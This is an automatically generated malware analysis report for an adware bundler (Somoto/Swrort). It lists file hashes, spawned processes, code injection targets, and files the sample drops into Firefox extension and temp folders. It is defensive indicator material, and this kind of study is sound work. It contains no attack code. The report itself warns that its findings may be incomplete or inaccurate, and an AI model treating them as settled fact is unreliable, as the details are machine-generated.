Application.Bundler.Somoto.I_f3a31b785a

by malwarelabrobot on April 28th, 2015 in Malware Descriptions.

Application.Bundler.Somoto.I (AdAware), Trojan.Win32.Swrort.3.FD, SearchProtectToolbar_pcap.YR, mzpefinder_pcap_file.YR, SearchProtectToolbar.YR (Lavasoft MAS)
Behaviour: Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: f3a31b785aef97068400d0987e8505fa
SHA1: 3f6e62b40d15c7b9194d7e04b898be28297216e1
SHA256: 39e5cef1098e0a7597515709ae018d28c6f9641e042c73419ec9b972c7c83985
SSDeep: 3072:522ihA0m3BJf0v2BhCEgV0U7t8g ythgD9mZrJ4Qw:6A0m3T0v2eEe06QycRArq
Size: 162536 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

62de6a4a-4569-4108-bd93-895e0f28cde9-4.exe:1760
YTAHelper.exe:4008
smt_istartsurf.exe:2000
ProtectWindowsManager.exe:3736
ProtectWindowsManager.exe:3752
YouTubeAcceleratorService.exe:3812
YouTubeAcceleratorService.exe:3680
YouTubeAcceleratorService.exe:3728
ProtectService.exe:4080
ProtectService.exe:4064
Vbrgnmfwi.exe:2612
wpm_v20.0.0.2227.exe:3716
biclient.exe:2144
ins_yta.exe:3540
QQBrowser.exe:3628
QQBrowser.exe:2636
testlsp.exe:3976
vlc-cache-gen.exe:4008
powershell.exe:1520
powershell.exe:3548
powershell.exe:3864
setup.exe:3452
HPNotify.exe:3488
XTab_Setup2253.exe:3824
cmdshell.exe:2332
jsdrv.exe:3592
ShopperPro.exe:1916
%original file name%.exe:1856
GLBBFC5.tmp:3604
ins_shopperpro.exe:3676
regsvr32.exe:3916
regsvr32.exe:3664
regsvr32.exe:2248
regsvr32.exe:3328
regsvr32.exe:2956
regsvr32.exe:3316
lspinst.exe:3992
lspinst.exe:3828
YTAHEL~1.EXE:3272
Xqaaz.exe:3480
DCytaiesmt_smtyc_setup.exe:3500
DCytaiesmt_smtyc_setup.exe:3240
DCytaiesmt_smtyc_setup.exe:3436
DCytaiesmt_smtyc_setup.exe:3972
DCytaiesmt_smtyc_setup.exe:3656
DCytaiesmt_smtyc_setup.exe:1660
spbiu.exe:3144
spbiu.exe:3740
F391.tmp:2924
59003547-0edf-49aa-8bfd-5cf9d4d1a47b-4.exe:1636
wscript.exe:2552
vlc-2.0.4-win32.exe:1900
GLJC014.tmp:3416
INS_SENSE.EXE:3556
taskeng.exe:3132
ytaiesmt_smtyc_setup.exe:3956
vlc.exe:552
INS_IWEBAR.EXE:1452

The Application injects its code into the following process(es):

YouTubeAcceleratorService.exe:3428
YouTubeAccelerator.exe:2388

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process 62de6a4a-4569-4108-bd93-895e0f28cde9-4.exe:1760 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\7246d6da56ee6b31d4af9057543e222a.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ec3eba6fe13cd5d70892f32c3eb3a535.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\6b2d8447eb01b3b8884e1c94248d236d.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2870aaa42c86ebe2c74adab7cf696ce3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\46e0fa659cd6644d68f1f438de248f91.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (622 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\cd140fe521b76fb46e07a1034da23950.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\88099a11da6b8cb36824d634f7d7c06f.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\40db5e8e4e778b251700f54c09f7f8a2.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4894bcd5bfe064bcf7b2dc8b0942bbf7.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\d03444bb7a7841055d55fb7ccdab17c0.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\290.js (897 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\6f33f16a869eaf354b888f9d2de58d1a.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\107c999c21028d7eb1d1ea9d7cc90e53.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\a38d86bcbbcdc27a8ff83bef67beee8d.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\411dff1ae5ec8f7f4485855e21e77473.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\30c507ed3329da89f3bef5a588c61d2e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\8e38e158b9d00e009c3b5fbb1d513fdd.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9f09e0f00cc92e720042d6e7b6caa305.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\c224d6c9e4521f97a1d9e4a4ed786446.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\61783f2b7a215182eac982347c4bfc52.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a946adef66411dbeebeb7979bd7aedc0.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\a20747f42c26ca06bea782747260449c.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\1216aa4ce265493c7710015960c139ba.js (649 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7bb10293a14ec2c50daf051f70751885.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\d48e2b7c64ba1c7ea953bd11f2dfa91a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\ccf23427904f00525503e9b14042000e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d6cca244653ebd7cea9b76f4079d78ea.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d7667b6bf694360cd9312d6e38da08a0.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\bc57f44abc79fe1c03175c296e788e35.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\465af905d50af865d601108a4604c272.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\5ca972076ba3b74288f49a1aeb914f5a.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\4cc5557fc500684d475395bf9546157e.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9157abfdb5cabdc9967531d1a40d884b.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\b1c44c488e5ce2ad86bca65164f70adf.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9482a2fbfdbb6b5ae8f9196a82deabbd.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\618e23b5603232524862c3b847389b25.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\1d5b9ade2b38561fbdfd9138273e7a5d.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\fab1c383135af2ab63ff2f261cc10fb9.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\4b52caf3aac040457643808a884d69a0.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7fc9b19f6ae221e49d0078acf4527034.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\189f210423a88662eba7cd233e114809.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\07ff8d6a258b7360e3e9246b6434c6db.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\1356cb8679dd34e71f80eb89049f8a59.js (5 bytes)

The process YTAHelper.exe:4008 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
%Program Files% (x86)\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)

The process smt_istartsurf.exe:2000 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\quick_searchff#5.4.10.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\eg2.zip (260607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ChromeSync.exe (10136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\521.db (304 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\eg1.zip (188451 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\conf (156 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\QQBrowserFrame.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\sweetsearch!1.0.0.1031.xpi (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\QQBrowser.exe (5199 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\RegWrite.exe (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\wpm_v20.0.0.2227.exe (12024 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\XTab_Setup2253.exe (76078 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\521.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ClearnC.exe (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\code1.jpg (5 bytes)
